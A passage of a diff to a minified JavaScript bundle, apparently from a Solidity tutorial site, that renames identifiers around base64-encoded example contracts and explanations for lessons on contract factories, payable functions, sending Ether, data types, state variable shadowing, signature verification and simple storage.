                                    delete nested[_addr1][_i]; } } -`,x0=({prev:s,next:a})=>i.jsx(u,{version:H0,title:F0,description:N0,html:S0,prev:s,next:a,codes:K0}),M0="0.8.20",J0="Contract that Creates other Contracts",z0="Learn how to create new contracts from inside of a contract with Solidity",E0=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHBheWFibGUgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7dmFsdWU6IG1zZy52YWx1ZX0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTIoYWRkcmVzcyBfb3duZXIsIHN0cmluZyBtZW1vcnkgX21vZGVsLCBieXRlczMyIF9zYWx0KSBwdWJsaWMgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7c2FsdDogX3NhbHR9KF9vd25lciwgX21vZGVsKTsKICAgICAgICBjYXJzLnB1c2goY2FyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjcmVhdGUyQW5kU2VuZEV0aGVyKAogICAgICAgIGFkZHJlc3MgX293bmVyLAogICAgICAgIHN0cmluZyBtZW1vcnkgX21vZGVsLAogICAgICAgIGJ5dGVzMzIgX3NhbHQKICAgICkgcHVibGljIHBheWFibGUgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7dmFsdWU6IG1zZy52YWx1ZSwgc2FsdDogX3NhbHR9KF9vd25lciwgX21vZGVsKTsKICAgICAgICBjYXJzLnB1c2goY2FyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYXIoCiAgICAgICAgdWludCBfaW5kZXgKICAgICkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvd25lciwgc3RyaW5nIG1lbW9yeSBtb2RlbCwgYWRkcmVzcyBjYXJBZGRyLCB1aW50IGJhbGFuY2UpCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IGNhcnNbX2luZGV4XTsKCiAgICAgICAgcmV0dXJuIChjYXIub3duZXIoKSwgY2FyLm1vZGVsKCksIGNhci5jYXJBZGRyKCksIGFkZHJlc3MoY2FyKS5iYWxhbmNlKTsKICAgIH0KfQo="}],L0=`

                                    Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                    +`,z0=({prev:s,next:a})=>i.jsx(u,{version:K0,title:S0,description:x0,html:J0,prev:s,next:a,codes:M0}),E0="0.8.20",L0="Contract that Creates other Contracts",Q0="Learn how to create new contracts from inside of a contract with Solidity",_0=[{fileName:"NewContract.sol",code:"Ly8gU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H0KCiAgICBmdW5jdGlvbiBjcmVhdGUyQW5kU2VuZEV0aGVyKAogICAgICAgIGFkZHJlc3MgX293bmVyLAogICAgICAgIHN0cmluZyBtZW1vcnkgX21vZGVsLAogICAgICAgIGJ5dGVzMzIgX3NhbHQKICAgICkgcHVibGljIHBheWFibGUgewogICAgICAgIENhciBjYXIgPSAobmV3IENhcil7dmFsdWU6IG1zZy52YWx1ZSwgc2FsdDogX3NhbHR9KF9vd25lciwgX21vZGVsKTsKICAgICAgICBjYXJzLnB1c2goY2FyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYXIoCiAgICAgICAgdWludCBfaW5kZXgKICAgICkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvd25lciwgc3RyaW5nIG1lbW9yeSBtb2RlbCwgYWRkcmVzcyBjYXJBZGRyLCB1aW50IGJhbGFuY2UpCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IGNhcnNbX2luZGV4XTsKCiAgICAgICAgcmV0dXJuIChjYXIub3duZXIoKSwgY2FyLm1vZGVsKCksIGNhci5jYXJBZGRyKCksIGFkZHJlc3MoY2FyKS5iYWxhbmNlKTsKICAgIH0KfQo="}],U0=`

                                    Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                    // SPDX-License-Identifier: MIT
                                     pragma solidity ^0.8.20;
                                     
                                    @@ -9196,7 +9196,7 @@ you can't send ether.

                                    return (car.owner(), car.model(), car.carAddr(), address(car).balance); } } -
                                    `,Q0=({prev:s,next:a})=>i.jsx(u,{version:M0,title:J0,description:z0,html:L0,prev:s,next:a,codes:E0}),_0="0.8.20",U0="Payable",T0="An example of how to use the keyword payable in Solidity",D0=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFBheWFibGUgewogICA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gICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IG93bmVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gdHJhbnNmZXIgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0IHRvIGFkZHJlc3MgZnJvbSBpbnB1dAogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBwYXlhYmxlIF90bywgdWludCBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIC8vIE5vdGUgdGhhdCAidG8iIGlzIGRlY2xhcmVkIGFzIHBheWFibGUKICAgICAgICAoYm9vbCBzdWNjZXNzLCApID0gX3RvLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHN1Y2Nlc3MsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],O0=`

                                    Functions and addresses declared payable can receive ether into the contract.

                                    +`,T0=({prev:s,next:a})=>i.jsx(u,{version:E0,title:L0,description:Q0,html:U0,prev:s,next:a,codes:_0}),D0="0.8.20",O0="Payable",P0="An example of how to use the keyword payable in Solidity",$0=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZX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Rpb24gdHJhbnNmZXIoYWRkcmVzcyBwYXlhYmxlIF90bywgdWludCBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIC8vIE5vdGUgdGhhdCAidG8iIGlzIGRlY2xhcmVkIGFzIHBheWFibGUKICAgICAgICAoYm9vbCBzdWNjZXNzLCApID0gX3RvLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHN1Y2Nlc3MsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],q0=`

                                    Functions and addresses declared payable can receive ether into the contract.

                                    // SPDX-License-Identifier: MIT
                                     pragma solidity ^0.8.20;
                                     
                                    @@ -9235,7 +9235,7 @@ you can't send ether.

                                    require(success, "Failed to send Ether"); } } -
                                    `,P0=({prev:s,next:a})=>i.jsx(u,{version:_0,title:U0,description:T0,html:O0,prev:s,next:a,codes:D0}),$0="0.8.20",q0="Primitive Data Types",sW="Primitive data types",aW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50IHB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nRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],nW=`

                                    Here we introduce you to some primitive data types available in Solidity.

                                    +`,sW=({prev:s,next:a})=>i.jsx(u,{version:D0,title:O0,description:P0,html:q0,prev:s,next:a,codes:$0}),aW="0.8.20",nW="Primitive Data Types",lW="Primitive data types",pW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRv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KICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],eW=`

                                    Here we introduce you to some primitive data types available in Solidity.

                                    • boolean
                                    • uint256
                                    • @@ -9297,7 +9297,7 @@ you can't send ether.

                                      int public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,lW=({prev:s,next:a})=>i.jsx(u,{version:$0,title:q0,description:sW,html:nW,prev:s,next:a,codes:aW}),pW="0.8.20",eW="Sending Ether (transfer, send, call)",cW="An example of sending Ether in Solidity",tW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVu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AgICAgICAvLyBTZW5kIHJldHVybnMgYSBib29sZWFuIHZhbHVlIGluZGljYXRpbmcgc3VjY2VzcyBvciBmYWlsdXJlLgogICAgICAgIC8vIFRoaXMgZnVuY3Rpb24gaXMgbm90IHJlY29tbWVuZGVkIGZvciBzZW5kaW5nIEV0aGVyLgogICAgICAgIGJvb2wgc2VudCA9IF90by5zZW5kKG1zZy52YWx1ZSk7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhQ2FsbChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gQ2FsbCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGlzIHRoZSBjdXJyZW50IHJlY29tbWVuZGVkIG1ldGhvZCB0byB1c2UuCiAgICAgICAgKGJvb2wgc2VudCwgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX3RvLmNhbGx7dmFsdWU6IG1zZy52YWx1ZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0K"}],oW=`

                                      How to send Ether?

                                      +`,cW=({prev:s,next:a})=>i.jsx(u,{version:aW,title:nW,description:lW,html:eW,prev:s,next:a,codes:pW}),tW="0.8.20",oW="Sending Ether (transfer, send, call)",rW="An example of sending Ether in Solidity",iW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8K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mcgc3VjY2VzcyBvciBmYWlsdXJlLgogICAgICAgIC8vIFRoaXMgZnVuY3Rpb24gaXMgbm90IHJlY29tbWVuZGVkIGZvciBzZW5kaW5nIEV0aGVyLgogICAgICAgIGJvb2wgc2VudCA9IF90by5zZW5kKG1zZy52YWx1ZSk7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhQ2FsbChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gQ2FsbCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGlzIHRoZSBjdXJyZW50IHJlY29tbWVuZGVkIG1ldGhvZCB0byB1c2UuCiAgICAgICAgKGJvb2wgc2VudCwgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX3RvLmNhbGx7dmFsdWU6IG1zZy52YWx1ZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0K"}],hW=`

                                      How to send Ether?

                                      You can send Ether to other contracts by

                                      • transfer (2300 gas, throws error)
                                      • @@ -9369,7 +9369,7 @@ receive() exists? fallback() require(sent, "Failed to send Ether"); } } -`,rW=({prev:s,next:a})=>i.jsx(u,{version:pW,title:eW,description:cW,html:oW,prev:s,next:a,codes:tW}),iW="0.8.20",hW="Shadowing Inherited State Variables",gW="An example of shadowing state variables by inheritance",dW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],IW=`

                                        Unlike functions, state variables cannot be overridden by re-declaring it +`,gW=({prev:s,next:a})=>i.jsx(u,{version:tW,title:oW,description:rW,html:hW,prev:s,next:a,codes:iW}),dW="0.8.20",IW="Shadowing Inherited State Variables",CW="An example of shadowing state variables by inheritance",jW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],uW=`

                                        Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

                                        Let's learn how to correctly override inherited state variables.

                                        // SPDX-License-Identifier: MIT
                                        @@ -9397,7 +9397,7 @@ in the child contract.

                                        // C.getName returns "Contract C" } -
                                        `,CW=({prev:s,next:a})=>i.jsx(u,{version:iW,title:hW,description:gW,html:IW,prev:s,next:a,codes:dW}),jW="0.8.20",uW="Verifying Signature",yW="An example of how to verify signatures in Solidity",mW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc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FkKGFkZChzaWcsIDk2KSkpCiAgICAgICAgfQoKICAgICAgICAvLyBpbXBsaWNpdGx5IHJldHVybiAociwgcywgdikKICAgIH0KfQo="}],AW=`

                                        Messages can be signed off chain and then verified on chain using a smart contract.

                                        +`,yW=({prev:s,next:a})=>i.jsx(u,{version:dW,title:IW,description:CW,html:uW,prev:s,next:a,codes:jW}),mW="0.8.20",AW="Verifying Signature",bW="An example of how to verify signatures in Solidity",wW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKIC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52YWxpZCBzaWduYXR1cmUgbGVuZ3RoIik7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgRmlyc3QgMzIgYnl0ZXMgc3RvcmVzIHRoZSBsZW5ndGggb2YgdGhlIHNpZ25hdHVyZQoKICAgICAgICAgICAgYWRkKHNpZywgMzIpID0gcG9pbnRlciBvZiBzaWcgKyAzMgogICAgICAgICAgICBlZmZlY3RpdmVseSwgc2tpcHMgZmlyc3QgMzIgYnl0ZXMgb2Ygc2lnbmF0dXJlCgogICAgICAgICAgICBtbG9hZChwKSBsb2FkcyBuZXh0IDMyIGJ5dGVzIHN0YXJ0aW5nIGF0IHRoZSBtZW1vcnkgYWRkcmVzcyBwIGludG8gbWVtb3J5CiAgICAgICAgICAgICovCgogICAgICAgICAgICAvLyBmaXJzdCAzMiBieXRlcywgYWZ0ZXIgdGhlIGxlbmd0aCBwcmVmaXgKICAgICAgICAgICAgciA6PSBtbG9hZChhZGQoc2lnLCAzMikpCiAgICAgICAgICAgIC8vIHNlY29uZCAzMiBieXRlcwogICAgICAgICAgICBzIDo9IG1sb2FkKGFkZChzaWcsIDY0KSkKICAgICAgICAgICAgLy8gZmluYWwgYnl0ZSAoZmlyc3QgYnl0ZSBvZiB0aGUgbmV4dCAzMiBieXRlcykKICAgICAgICAgICAgdiA6PSBieXRlKDAsIG1sb2FkKGFkZChzaWcsIDk2KSkpCiAgICAgICAgfQoKICAgICAgICAvLyBpbXBsaWNpdGx5IHJldHVybiAociwgcywgdikKICAgIH0KfQo="}],kW=`

                                        Messages can be signed off chain and then verified on chain using a smart contract.

                                        Example using ethers.js

                                        // SPDX-License-Identifier: MIT
                                         pragma solidity ^0.8.20;
                                        @@ -9522,7 +9522,7 @@ How to Sign and Verify
                                                 // implicitly return (r, s, v)
                                             }
                                         }
                                        -
                                        `,bW=({prev:s,next:a})=>i.jsx(u,{version:jW,title:uW,description:yW,html:AW,prev:s,next:a,codes:mW}),wW="0.8.20",kW="Reading and Writing to a State Variable",ZW="Reading and Writing to a State Variable",WW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],BW=`

                                        To write or update a state variable you need to send a transaction.

                                        +`,ZW=({prev:s,next:a})=>i.jsx(u,{version:mW,title:AW,description:bW,html:kW,prev:s,next:a,codes:wW}),WW="0.8.20",BW="Reading and Writing to a State Variable",GW="Reading and Writing to a State Variable",fW=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],VW=`

                                        To write or update a state variable you need to send a transaction.

                                        On the other hand, you can read state variables, for free, without any transaction fee.

                                        // SPDX-License-Identifier: MIT
                                         pragma solidity ^0.8.20;
                                        @@ -9541,7 +9541,7 @@ How to Sign and Verify
                                                 return num;
                                             }
                                         }
                                        -
